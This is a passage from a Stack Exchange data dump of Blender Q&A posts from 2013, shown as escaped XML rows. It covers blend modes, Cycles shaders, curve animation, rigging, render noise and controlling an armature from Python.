src=&quot;https://i.stack.imgur.com/hzigq.png&quot; alt=&quot;Screen blend mode mathematical formula&quot;&gt;&lt;br&gt;&#xA;where &lt;em&gt;S&lt;/em&gt; is defined by &lt;img src=&quot;https://i.stack.imgur.com/J124a.png&quot; alt=&quot;S(a, b) = 1 - (1-a)(1-b)&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These three blend modes are the most common blend modes, but there are many more as well. For more information, see the &lt;a href=&quot;http://en.wikipedia.org/wiki/Blend_modes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia page on Blend modes&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-08-14T05:22:47.317" LastActivityDate="2013-08-14T05:22:47.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2233" PostTypeId="4" CreationDate="2013-08-08T20:39:16.957" Score="0" Body="Blend modes (Also known as Mixing modes) are used to define the way two or more images combine. There are many blend modes, some common ones include Add, Subtract, Multiply, and Screen. " OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-08T21:23:43.807" LastActivityDate="2013-08-08T21:23:43.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2234" PostTypeId="2" ParentId="2224" CreationDate="2013-08-08T20:55:37.510" Score="8" Body="&lt;p&gt;I think this is the most direct method.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select All&lt;/li&gt;&#xA;&lt;li&gt;Mesh -&gt; Edge -&gt; Edge Split&lt;/li&gt;&#xA;&lt;li&gt;Set the pivot point &lt;strong&gt;Individual Origins&lt;/strong&gt; in the 3D view header.&lt;/li&gt;&#xA;&lt;li&gt;Scale the faces.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-08T20:55:37.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2235" PostTypeId="2" ParentId="2231" CreationDate="2013-08-08T21:03:05.487" Score="6" Body="&lt;p&gt;I think the answer to this is also negative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me try to explain my understanding of the problem with a different blend mode. To have an example to work with, let's use &lt;em&gt;Multiply&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Cycles uses the shader, it uses it with exactly one sample. It doesn't know anything about the previous samples, and neither does it know anything about future samples for this pixel and material. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be able to multiply two shaders with each other, you would need the averages of all samples from one shader and all samples from the other one, as it could happen that for each sample, one of them is 0 and the other one is 1 (with a 50% chance for either one to be 1). In average, both would still be 0.5 in brightness, so the correct Multiply-result would be 0.5 * 0.5 = 0.25, but because Blender only sees one sample at a time, it would always calculate 1 * 0 = 0 or 0 * 1 = 0 and the material would be black. This is why all blend-modes have to be independant of the respective other input to make sense. Add and Mix are pretty much the only two useful blend modes for which the output is only influenced by the two inputs independently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any linear modifications that are supposed to happen to either of the inputs or the output can be applied to the color before it even enters the shader, as all shaders are (as far as I know) linear in respect to the input color. Subtracting also works that way, you can replicate it with negative brightness in a Diffuse/Glossy/...-Shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not the programming explanation for why it doesn't work but only the explanation that I think is correct and describes the problem from a rendering process point of view, please correct me if it's not correct but I hope it helps in some way to understand what works and what doesn't and cannot work.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-08-08T21:03:05.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2236" PostTypeId="2" ParentId="2224" CreationDate="2013-08-08T21:21:43.550" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Edge_Split&quot; rel=&quot;nofollow noreferrer&quot;&gt;EdgeSplit modifier&lt;/a&gt; and set &lt;em&gt;Edge Angle&lt;/em&gt; to 0.&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Displace&quot; rel=&quot;nofollow noreferrer&quot;&gt;Displace modifier&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1p2Fy.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-08-08T21:33:28.360" LastActivityDate="2013-08-08T21:33:28.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2237" PostTypeId="1" CreationDate="2013-08-08T21:48:06.803" Score="6" ViewCount="953" Body="&lt;p&gt;So I &lt;a href=&quot;https://blender.stackexchange.com/questions/2224/how-can-i-separate-faces-without-the-edges&quot;&gt;previously asked a question&lt;/a&gt; on how to separate the faces of an object like an Icosphere. &lt;em&gt;I decided that this next part would be best for a separate question.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking that Icosphere and an Empty, how would a best be able to achieve the results shown in &lt;a href=&quot;http://www.cinema4dtutorial.net/?p=1293&quot; rel=&quot;nofollow noreferrer&quot;&gt;these tutorials&lt;/a&gt;? Here is what my object looks like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QJpAD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to be able to drag an Empty through the sphere and have the triangles scale, and or rotate inward or outward as seen in the image.&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-08-10T00:00:17.380" Title="How can I change an objects scale, and rotation using an Empty?" Tags="&lt;workflow&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2238" PostTypeId="1" AcceptedAnswerId="2239" CreationDate="2013-08-08T21:57:58.617" Score="9" ViewCount="7438" Body="&lt;p&gt;I was wondering what does Open Shading Language mean? I've heard people talk about OSL this and OSL that, and I just thought that it was something they said to sound smart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if anyone actually knows what this is or does?&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="599" LastEditDate="2013-08-08T22:14:37.513" LastActivityDate="2013-08-08T22:26:38.467" Title="What does Open Shading Language ( OSL ) mean?" Tags="&lt;osl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2239" PostTypeId="2" ParentId="2238" CreationDate="2013-08-08T22:09:48.930" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/OSL&quot; rel=&quot;noreferrer&quot;&gt;Open Shading Language&lt;/a&gt; is a programming language designed for writing &lt;a href=&quot;http://en.wikipedia.org/wiki/Shader&quot; rel=&quot;noreferrer&quot;&gt;shaders&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://code.google.com/p/openshadinglanguage/&quot; rel=&quot;noreferrer&quot;&gt;OSL page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Open Shading Language (OSL) is a small but rich language for&#xA;  programmable shading in advanced renderers and other applications,&#xA;  ideal for describing materials, lights, displacement, and pattern&#xA;  generation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/OSL#Script_Node&quot; rel=&quot;noreferrer&quot;&gt;Script node&lt;/a&gt; was added in &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.65/Cycles#Open_Shading_Language&quot; rel=&quot;noreferrer&quot;&gt;blender 2.65&lt;/a&gt; that allows users to use OSL shaders in Cycles.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-08T22:15:22.220" LastActivityDate="2013-08-08T22:15:22.220" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2241" PostTypeId="1" AcceptedAnswerId="2242" CreationDate="2013-08-08T22:56:31.103" Score="8" ViewCount="3589" Body="&lt;p&gt;How can I animate a curve extending? I'd like the animation to look like a circle extruding along the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found lots of tutorials like &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves/Editing/Advanced&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt;, using the taper/bevel objects in the curve settings, but I'm trying to do to it without the funky taper off the front of the extrusion.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="12" LastEditDate="2013-08-09T00:37:55.797" LastActivityDate="2013-08-09T00:37:55.797" Title="Animate Extending a Curve" Tags="&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2242" PostTypeId="2" ParentId="2241" CreationDate="2013-08-08T23:02:22.517" Score="6" Body="&lt;p&gt;You can do this by using a B&amp;eacute;zier extrusion with animated start/end values, which was added in Blender 2.65. You'll need two curve objects: the path and the circle (if you don't have a circle curve, just add a &lt;strong&gt;Curve&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Bezier Circle&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, select the path, and set its &lt;strong&gt;Bezier Object&lt;/strong&gt; (under the curve options tab) to the circle. This will take care of the extrusion portion. To avoid the &quot;funky taper,&quot; just don't set the taper object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, animate the &lt;strong&gt;End Bevel Factor&lt;/strong&gt; value. To do this, go to frame 1, and set the End Bevel Factor value to 0. Hover over it and press &lt;kbd&gt;I&lt;/kbd&gt;, or &lt;kbd&gt;RMB&lt;/kbd&gt; &amp;rarr; &lt;strong&gt;Insert Keyframe&lt;/strong&gt; to insert a keyframe. Then, go to the frame where you want the transition to end, set the factor to 1, and insert a keyframe again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image demonstrates the two key things to set:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/228Rl.png&quot; alt=&quot;Example image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NB&lt;/em&gt; Using the circle as a curve object allows you to have a more flexible swept object. If all you need really is a circle with no endcaps, just set the &lt;strong&gt;Bevel Depth&lt;/strong&gt; to a higher value than zero and set the &lt;strong&gt;Fill&lt;/strong&gt; to &lt;em&gt;Full&lt;/em&gt; instead of &lt;em&gt;Half&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-08-08T23:10:33.750" LastActivityDate="2013-08-08T23:10:33.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2243" PostTypeId="2" ParentId="2237" CreationDate="2013-08-09T00:29:52.090" Score="1" Body="&lt;p&gt;One way I found that gets a similar effect, is using hair particles to emit triangles:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a sphere as an emitter mesh:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GERWm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane and merge (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;) two vertices to create a single tri:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CnwjU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RLbLM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the Particle settings for the sphere to &lt;em&gt;hair&lt;/em&gt;, select the tri as object in &lt;em&gt;Particle settings &gt; Render&lt;/em&gt;, disable &lt;em&gt;Emitter&lt;/em&gt; so the emitter mesh is not rendered, and enable &lt;em&gt;Rotation&lt;/em&gt; in &lt;em&gt;Render&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sA4DM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now rotating the tri causes the particles to rotate as well:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/g7hIR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Force fields will also effect the hair particles, so you can get effects with them too.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Duplifaces&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This can also be achieved with duplifaces:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the tri to an icosphere&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the sphere, and enable &lt;em&gt;Duplifaces&lt;/em&gt; in &lt;em&gt;Properties &gt; Object panel &gt; Duplication &gt; Faces&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Optional) Enable &lt;em&gt;Scale&lt;/em&gt; and tweak scale settings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can apply the dupli objects with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; (With the sphere selected)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a constraint to one of the now separate triangle objects (you might want to make these a &lt;em&gt;Group&lt;/em&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; so you can select them all easily with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; &lt;em&gt;&gt; Group&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can then constrain each tri individually, select them all with the constrained tri active (yellow) and &lt;em&gt;object &gt; constraints &gt; copy constraints to selected objects&lt;/em&gt;:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nuWKy.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that with Duplifaces the trick of rotating the original tri still works, but force fields do not.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-10T00:00:17.380" LastActivityDate="2013-08-10T00:00:17.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2244" PostTypeId="1" AcceptedAnswerId="2245" CreationDate="2013-08-09T00:41:07.830" Score="7" ViewCount="129" Body="&lt;p&gt;I've got some keyframes set up and don't quite like the way things look. I'm playing with some values to see if I can't make it look nicer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render to see the affect of my changes, everything pops back to the keyframed (or interpolated) values. Is there a way to render &lt;em&gt;the current state of the scene&lt;/em&gt;, regardless of any keyframes?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="599" LastEditDate="2013-08-09T01:19:05.420" LastActivityDate="2013-08-09T02:24:53.387" Title="How to render without evaluating keyframes?" Tags="&lt;rendering&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2245" PostTypeId="2" ParentId="2244" CreationDate="2013-08-09T01:38:15.977" Score="6" Body="&lt;p&gt;You need to &lt;em&gt;mute&lt;/em&gt; all channel in current object's animation data. Muting Actions and NLA strips can be done by pressing &lt;kbd&gt;LMB&lt;/kbd&gt; on speaker button at each action channels or NLA track. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A faster way if involving lots of channels/tracks is to press &lt;kbd&gt;A&lt;/kbd&gt; with cursor placed atop channel list to select all channels (or select channels manually with &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;LMB&lt;/kbd&gt;), then press &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;W&lt;/kbd&gt;, and choose &lt;em&gt;Mute&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HoOBc.png&quot; alt=&quot;Muting several keyframes at once&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="599" LastEditDate="2013-08-09T02:24:53.387" LastActivityDate="2013-08-09T02:24:53.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2246" PostTypeId="1" CreationDate="2013-08-09T02:58:12.830" Score="5" ViewCount="4776" Body="&lt;p&gt;&lt;em&gt;Here is my scenario:&lt;/em&gt; A character sitting on a chair is resting his elbow on a table while moving his hand which is controlled by inverse kinematics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I stick or pin the elbow to the table while I animate the hand and the chest?&lt;/p&gt;&#xA;" OwnerUserId="1050" LastEditorUserId="12" LastEditDate="2013-08-09T07:27:36.060" LastActivityDate="2013-08-09T16:51:01.677" Title="How to pin a distinct bone in a rig while animating" Tags="&lt;rigging&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2247" PostTypeId="2" ParentId="2231" CreationDate="2013-08-09T04:36:24.253" Score="2" Body="&lt;p&gt;While a shader contains colour information it also contains other information needed by the renderer to calculate the final colour when rendering. A shader is more like &quot;instructions&quot; for the render engine to calculate the final colour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could extract a colour from the shader it wouldn't match the final image unless you also take into account the same calculations the renderer performs to get the final colour, like surrounding objects and lights, the angle of the surface to the camera...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you can use different methods to mix colours before you pass it to the shader, the render engine is more restrictive as to how it generates the final image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the same 100% blue colour for a diffuse shader, a glossy shader and a glass shader, each will have variations that make them appear different from each other even though the specified colour in the shader is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dYOw7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-09T04:36:24.253" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2248" PostTypeId="2" ParentId="2246" CreationDate="2013-08-09T04:48:29.167" Score="7" Body="&lt;p&gt;It all depends on how your rig is made. Here is one tip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an &lt;strong&gt;empty&lt;/strong&gt; to your scene.&#xA;Give it a name like ElbowRest-Empty.&#xA;Select your Elbow Bone in Pose Mode. Add a &lt;strong&gt;constraint&lt;/strong&gt; &quot;&lt;em&gt;Track To&lt;/em&gt;&quot; &#xA;Select &quot;ElbowRest-Empty&quot; as target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in object mode, where ever you move your empty, your elbow bone will follow.&#xA;You may need to lower the influence of IK to keep the elbow bone pinned where ever you want too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dfrUb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="599" LastEditDate="2013-08-09T16:51:01.677" LastActivityDate="2013-08-09T16:51:01.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2249" PostTypeId="2" ParentId="2024" CreationDate="2013-08-09T07:40:58.140" Score="3" Body="&lt;p&gt;This is, in my eyes, not even theoretically possible to implement in Cycles. The backside of an object cannot be influenced by a light source on the front, simply because Cycles works with samples from the camera over the surface towards the lamp. There is no way that a sample bouncing off the surface on the back could directly end up in the light on the other side as there is an object in-between.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't think this shader is necessary in Cycles. It was built to allow even light setups with very few lights to not look over-contrasted and harsh. With real global illumination, which you have in Cycles, light bouncing off of other objects around your object will automatically (at least with more than 0 diffuse-bounces) provide a smooth light distribution around your object from a single light source, which is exactly the effect the Half-Life developers tried to fake.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-08-09T07:40:58.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2250" PostTypeId="2" ParentId="1703" CreationDate="2013-08-09T12:39:51.963" Score="10" Body="&lt;p&gt;One of the most effective measures against fireflies, especially in scenes with caustics or non-glossy reflections, is to increase the size of the light sources. For example, a sun with a size of .1 will produce significantly less noise and fireflies (and travel through glass a lot better) than a sun with a size of .01. Relevant here is not the absolute size but the &lt;a href=&quot;https://en.wikipedia.org/wiki/View_factor&quot; rel=&quot;nofollow noreferrer&quot;&gt;view factor&lt;/a&gt;, so moving the light closer to your scene but keeping it at a constant size will have the same effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the same time, of course, increasing the lamp size will make shadows softer and might not be what you want in a scene, but it is good to know the correlation so that you can find a sweet spot between the amount of noise and the desired look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be necessary to render the whole scene without the object that has a glass material, and a small light source -- and then re-render the part of the scene with the glass object, with a bigger light source, different sampling settings and a higher total number of samples. Because this will then be a border render and limited in area, it will render a lot faster. Mixing the two renders later is often easily possible with a painted mask in the Blender Compositor or using external software. The only case in which such a solution is not possible or not helpful is when a big part of the scene contains, or is affected by, your glass material.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="1068" LastEditDate="2018-01-01T12:01:58.103" LastActivityDate="2018-01-01T12:01:58.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2251" PostTypeId="2" ParentId="2237" CreationDate="2013-08-09T13:03:22.457" Score="0" Body="&lt;p&gt;You can scale an them apart and rotate them in if you use separate objects.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Separate the mesh by going into edit mode, selecting &lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;By Loose Parts&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reset the origins for the objects by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; and select &lt;em&gt;Origin to Geometry&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the pivot point to individual origins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TtBD1.png&quot; alt=&quot;Set the Pivot Point&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;R&lt;/kbd&gt; or &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to rotate the objects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To scale the objects away from each other, use the little button next to the pivot point menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ew2Dp.png&quot; alt=&quot;scale away from each other&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;S&lt;/kbd&gt; and scale away.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-09T13:03:22.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2253" PostTypeId="1" AcceptedAnswerId="2254" CreationDate="2013-08-09T15:51:54.483" Score="22" ViewCount="28213" Body="&lt;p&gt;I'm not interested recommendations for the best hardware, but whether Blender's full functionality-- all that zooming and selecting stuff-- can be realized with only a trackpad. &lt;/p&gt;&#xA;" OwnerUserId="1071" LastActivityDate="2020-06-19T11:17:37.897" Title="Can the full features of Blender be used with a trackpad?" Tags="&lt;osx&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2254" PostTypeId="2" ParentId="2253" CreationDate="2013-08-09T16:17:46.130" Score="9" Body="&lt;p&gt;You can use it to an extent, but from experience, it quickly becomes quite cumbersome. You tend to lose a lot of precision as the space to move in is a bit cramped and overall it is not worth taking the time to get adjusted to and or customizing it to work better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For example:&lt;/em&gt; To zoom, I have to swipe the edge of the trackpad, this quickly gets annoying and it often passes the point where I want to stop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;highly&lt;/em&gt; recommend investing in a mouse instead and using the &lt;em&gt;Emulate 3 Button Mouse&lt;/em&gt; option in the user preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/917/how-do-you-unselect-vertices-without-a-middle-mouse-button&quot;&gt;How do you unselect vertices without a middle mouse button?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/124/how-to-emulate-a-number-pad-and-3-button-mouse&quot;&gt;How to emulate a Number Pad and 3 Button Mouse?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1508/zoom-in-and-out-without-a-mouse-wheel&quot;&gt;Zoom in and out without a mouse wheel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1511/how-can-i-control-the-viewport-without-a-mouse&quot;&gt;How can I control the viewport without a mouse?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-09-22T03:32:53.790" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2255" PostTypeId="1" AcceptedAnswerId="2257" CreationDate="2013-08-09T16:44:53.340" Score="9" ViewCount="12767" Body="&lt;p&gt;I have an object with a high non manifold edge count. Is there a way to resolve them automatically or a way to make it easier to solve them manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of them are edges without a face and others are cubes connected to the object by one edge.&#xA;The object have a high polygon count because it is the result of various modifiers applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;__&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I delete those edges they leave others &quot;non manifold edges&quot;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bAldR.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;After deletion, the solid is open and some new non manifold edges are formed&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RTIka.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Using  make faces creates some non manifold vertices&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GPQHA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1055" LastEditorUserId="1055" LastEditDate="2013-08-09T17:30:02.800" LastActivityDate="2014-12-05T20:08:53.487" Title="How to deal with a &quot;non manifold edge&quot; high count" Tags="&lt;3d-printing&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2256" PostTypeId="1" AcceptedAnswerId="2431" CreationDate="2013-08-09T16:48:22.210" Score="12" ViewCount="4054" Body="&lt;p&gt;I need to control an armature using Python so that I can animate a biped model using data from a text file.  I've been using &lt;a href=&quot;http://www.warp1337.com/content/blender-robotics-part-4-programming-gameengine&quot;&gt;this tutorial&lt;/a&gt; and some other sources to try and do so, but I can never see any results in the rendered game window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I have thus far is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import GameLogic&#xA;&#xA;arm = GameLogic.getCurrentController().owner&#xA;&#xA;print(arm.channels['Upperleg.L'].rotation_euler)&#xA;&#xA;arm.channels['Upperleg.L'].rotation_euler = [5, 5, 5]&#xA;arm.update()&#xA;&#xA;print(arm.channels['Upperleg.L'].rotation_euler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the console, the values for &lt;code&gt;BL_ArmatureChannel.rotation_euler&lt;/code&gt; are changing...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Vector &amp;lt;0.0000, 0.0000, 0.0000&amp;gt;&amp;gt;&#xA;&amp;lt;Vector &amp;lt;5.0000, 5.0000, 